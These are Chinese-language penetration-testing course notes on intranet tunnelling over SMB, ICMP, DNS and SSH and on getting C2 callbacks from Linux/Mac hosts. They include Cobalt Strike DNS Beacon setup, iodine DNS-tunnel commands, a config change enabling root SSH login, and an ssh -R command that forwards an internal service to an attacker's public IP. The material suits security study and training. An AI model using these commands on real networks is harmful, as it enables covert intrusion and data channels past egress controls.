内网安全-隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac 简单总结

第126天：内网安全-隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac_内网安全-隧道技术_ssh_dns_icmp_smb_上线通讯linux_mac-CSDN博客

内网渗透—隧道技术_隧道技术csdn-CSDN博客

#SMB 隧道&通讯&上线 

判断：445 通讯 
上线：借助通讯后绑定上线 
通讯：直接 SMB 协议通讯即可 

上一篇文章有讲解

 
#ICMP 隧道&通讯&上线 

判断：ping 命令 
上线：见前面课程 
通讯：其他项目(icmpsh icmptunnel) 
https://github.com/esrrhs/spp 
https://github.com/bdamele/icmpsh 
https://github.com/esrrhs/pingtunnel 
 

#DNS 隧道&通讯&上线 

在进行DNS查询时，如果查询的域名不在DNS服务器本机的缓存中，就会访问互联网进行查询，然后返回结果。如果在互联网上有一台定制的服务器，那么依靠DNS协议即可进行数据包的交换。

判断：nslookup dig 

DNS上线

1、上线环境：内网主机只出网 DNS 协议数据，解决上线 
-域名申请及配置 

        准备一个域名并配置两条NS解析，NS解析将子域名指定其它DNS解析

-监听器创建及配置 

http协议无法上线

配置监听器

设置监听器，Payload选择Beacon DNS，DNS地址选择刚刚填写的ns1记录与ns2记录，下面的DNS地址( Stager)填写A记录，也就是CS.xxx.fun。

-后门绑定监听器及生成 

在受害者主机执行后门，上线，然后执行命令mode dns -txt

DNS隧道解决通讯问题

2、通讯环境： 
内网主机只出网 DNS 协议数据，解决通讯 
https://github.com/yarrick/iodine 

iodine工作原理是 ，通过TAP虚拟网卡，在服务端建立起一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网。在客户端和服务端之间建立连接后，客户机上会多出一块名为dns0的虚拟网卡。
判断出网：nslookup www.baidu.com 

将工具运行起来，运行起来后，你可以输入命令去查看一下网卡，会发现多出一个网卡，这里的选择的网段，千万不要和现有的网段冲突

-服务器：设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向 
iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD 

 

设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向 

-f：在前台运行
-c：禁止检查所有传入请求的客户端IP地址。
-P：客户端和服务端之间用于验证身份的密码。
-D：指定调试级别，-DD指第二级。“D”的数量随级别增加。

-客户端：连接密码 xiaodi 并绑定域名指向 
iodine -f -M 200 -P xiaodi ns1.xiaodi8.com 

windows不建议用

客户端的工具其实可以直接去官网中下载已经编译好的，但是有一个问题就是无法直接使用，会出现报错，需要安装一个APT网卡

安装软件不现实

客户端的工具运行起来还需要管理员操作，都管理员了，我还要你个DNS隧道干嘛…同样这里，操作完输入命令后，可以看到多出了一个IP地址，刚刚设置的是192.168.0.1网段的IP，那么这里自动就会生成一个192.168.0.2的IP地址。

客户端建立192.168.0.2的虚拟网卡

测试链接

-尝试通讯尝试连接： 
ssh root@192.168.0.2 xiaodi

#SSH 隧道&通讯 

前提：跳板机为linux,获得root权限，

最好跳板机上不要有过多的防火墙策略，也就是Linux内置的防火墙策略，关策略需要使用root权限。

判断：ssh连接

1、上线：

由于CS无SSH协议监听器配置，无法上线。上线linux需要使用插件

内网渗透—Linux上线_cs上线linux-CSDN博客

2、通讯：

由于SSH协议存在于Linux系统，跳板机必须Linux
iptables -F /* 清除所有规则 */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口，一般不开 */
iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口，一般不开 */
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /*保存配置*/
iptables -L /* 显示iptables列表 */

开启ssh协议登录：

vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart

ssh参数

-C：压缩传输，提高传输速度

  -f：将SSH传输转入后台执行，不占用当前的Shell

  -N：建立静默连接(建立了连接，但是看不到具体会话)

  -g：允许远程主机连接本地用于转发的端口

  -L：本地端口转发

  -R：远程端口转发

  -D：动态转发(SOCKS代理)

  -P：指定SSH端口

本地：出站封，走正向

ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122

将本地访问1.168080端口流量转发至本地的1122端口

结果：访问192.168.1.166本地1122端口，探测到1.16：8080

ssh远程转发：入站封，走反向

ssh -CfNg -R 1234:192.168.1.15:8080 root@47.94.236.117
curl http://127.0.0.1:1234

将跳板机上访问的IP地址及端口流量转发至攻击机上的某个端口，

将本地的访问1.168080端口流量转发至47.94.236.117的1234 端口

结果：探测到内网数据

攻击者访问自己本地的1234即可访问windows的8080端口

#控制上线-插件-Linux&Mac&IOS&Android

内网渗透—Linux上线_cs上线linux-CSDN博客

https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考：
https://gloxec.github.io/CrossC2/zh_cn/
目前版本只支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成